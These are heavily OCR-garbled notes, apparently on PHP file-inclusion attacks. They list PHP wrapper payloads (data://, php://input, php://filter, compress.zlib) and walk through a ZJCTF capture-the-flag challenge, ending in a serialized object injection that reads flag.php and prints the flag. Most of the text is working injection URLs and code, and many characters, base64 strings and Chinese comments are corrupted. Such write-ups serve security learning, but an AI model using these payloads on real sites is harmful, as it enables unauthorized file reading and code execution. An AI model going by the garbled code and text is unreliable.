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allow_url_fopen : off/on
allow_url_include: off/on
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url/?page=file://e:/tool/phpstudy/phptutorial/www/phpinfo.php
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7E: enctype="multipart/form-data” i % php://input A& JERL 1 -

allow_url_fopen : off/on

allow_url_include: on

$user $ GET[ 1;
$file $ GET[ 1;
$pass $ GET[ 1;

(file_get contents($user,
include($file);
}else{

echo

data: /i
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data://Fris %A Eon 7 i 1E 1 F 5
allow_url_fopen : on
allow_url_include: on

php FRAKT-%5T php5.2

<?php
$filename=$_GET[ Iz
include("$filename");
?>

http://127.0.0.1/xxx.php?a=data://text/plain,<?php phpinfo()?>
or
http://127.0.0.1/xxx.php?a=data://text/plain;base64,PDO9waHAgcGhwaW5mbygpPz4=
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http://127.0.0.1/cmd.php?file=data:text/plain,<?php phpinfo()?>

or
http://127.0.0.1/cmd.php?file=data:text/plain;base64,PDO9waHAgcGhwaW5mbygpPz4=
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compress bzip2.// ==52 offfon off/on [or]

Hile=compress bzip2.// file bz2

Hile=compress zlib://D:/soft/phpStudy MWW Aile.gz
==52 offfon off/on [or]

Hile=compress.zlib.// HAile.gz
Hile=data.//text/plain,<?php phpinfo{)?=

compress.zlib/
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<Yphp
$text = 3 GET["text”™];
$file 3 GET["fi1e”];
password = 3 _GET["password”™];
iflisset(Ftext)&&(file_set_contents(Ftext, v J==="walcome +to the =zjctf")){
echo  "<br><hl>”. file_gzet_contents($text, 'r’ ). "< hlx< br>”
iflpreg_match(”/flag/”, $£ile)) |
echo "Not now!”;

exit();
telze
include (3file) ; S fuseless. php
password = unserialize($password);
echo  $password:
1
1
else |
highlight file( FILE J:
1
e

text A data:// B{# php://input PN SIS, file H php://filter Siit

http://4f2598c3-27c1-4308-baff-129552618617.node3.buuoj.cn/?text=data://text/plain,welcome to the

zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

welcome to the zjctf

PD9waHAglAoKY2xhc3MgRmxhZ3sglC8vZmxhZy5waHAglAoglCAgcHVibGlICRmaWxlOyAgCiAgICBwdWIsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAglCAgIC

PDO9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWx10yAgCiAgICBwdWIsaWMgZnVuY3Rpb24gX190b3N@cmlu
ZygpeyAgCiAgICAgICAgalWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2VOX2NvbnR1bnRzKCROaG1zLT5m

aWx1KTsgCiAgICAgICAgICAgIGYjaG8gIjxicj4iOwogICAgICAgIHI1dHVybiAoI1UgUiBTTyBDTEOTRSANLY8VQOINRSBPTiBQTF0iKTSKICAY
ICAgICBOICAKICAgIHOgIApPOICAKPZAgIA0=
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public $file;
public function _ tostring(){
if(isset($this->Ffile)){
echo file get contents($this->file);
echo ;
return ( )

1
J

<?php

class Flag{
public $file :
public function __ tostring(){
if(isset($this->file)){
echo file_get contents($this->file);

echo ;

return ( );

}

b
$a new Flag();
echo serialize($a);

?>

%%?U0:4:"Flag":l:{s:4:"file";s:S:"flag.php";}

<?php ) O:4:"Flag":1:{s:4:"file";s:8:"flag.php”;}
class Flagf{ flag. php
public $file = "flag. php”:

public function _ tostring() {
if(izset($this—>file)) {
echo file_get_contents($this—>file);
echo "<br>”:

return (U R S0 CLOSE !///COME ON PLZ")
$a = new Flag();

echo serialize($a) ;
g

% payload’y: http://4f2598c3-27c1-4308-baff-129552618617.node3.buuoj.cn/?text=data://text/plain,welcome to
the zjctf&file=useless.php&password=0:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
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1 <krr<hlrwelcome to the zictf</hl1></br>
2 <brroh u find it </br>

3

4 {l--pbut 1 cant give 1t to u now-->

5

6 | <7php

-

8 if(2===3){

9 return [“flag [Fefbchdl-aazi-4el17-afbh-25d7006aaa81} 7},
10|}

11

12 | <>

13 <br>U R S0 CLOSE !///COME ON PLZ

flagy: flag{5ef5c6d1-aa38-4el12-af5b-25d7006aaa81}
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